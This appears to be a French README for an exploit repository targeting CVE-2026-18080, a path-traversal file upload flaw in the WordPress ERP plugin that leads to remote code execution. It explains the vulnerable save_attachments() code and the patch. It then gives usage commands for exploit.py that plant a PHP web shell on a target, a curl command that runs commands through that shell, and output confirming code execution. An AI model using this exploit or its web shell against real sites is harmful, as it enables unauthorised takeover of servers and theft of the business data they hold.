
Exploit pour CVE-2026-18080, un téléversement de fichier arbitraire non authentifié menant à une exécution de code à distance (RCE) dans ERP Complete HR, Accounting & CRM Suite. Inclut des scripts Python et PHP pour l'exploitation automatisée.
| Champ | Valeur |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| Correctif | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (Critique) |
| CWE | CWE-434 (Téléversement sans restriction de fichier de type dangereux) |
| Impacté | Versions du plugin ERP <= 1.17.7 (corrigé dans la 1.17.8) |
La fonction save_attachments() du plugin ERP dans GmailSync.php traite les pièces jointes des e-mails entrants via IMAP sans normalisation des chemins. Un attaquant peut créer un e-mail avec un nom de fichier tel que ../../plugins/shell.php et un en-tête References falsifié correspondant au modèle attendu par le plugin. La tâche cron de synchronisation IMAP écrit le fichier en dehors du répertoire crm-attachments/ protégé par .htaccess dans n'importe quel chemin accessible en écriture sous wp-content/.
Dans GmailSync.php (v1.17.7) :
$name = $item['name']; // Pas de basename() ni de normalisation des chemins
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
Le nom de fichier ../../plugins/shell.php concaténé avec $dir (wp-content/uploads/crm-attachments/) se résout en wp-content/plugins/shell.php — un répertoire où l'exécution de PHP est autorisée.
Le correctif (v1.17.8) ajoute sanitize_attachment_filename() qui supprime les composants de répertoire via basename(), rejette les séparateurs de chemins et bloque les extensions dangereuses.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
Après un téléversement réussi :
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| Fichier | Description |
|---|---|
exploit.py | Script d'exploitation Python utilisant wp-cli |
exploit.php | Exploit PHP autonome pour wp eval-file |
README.md | Ce fichier |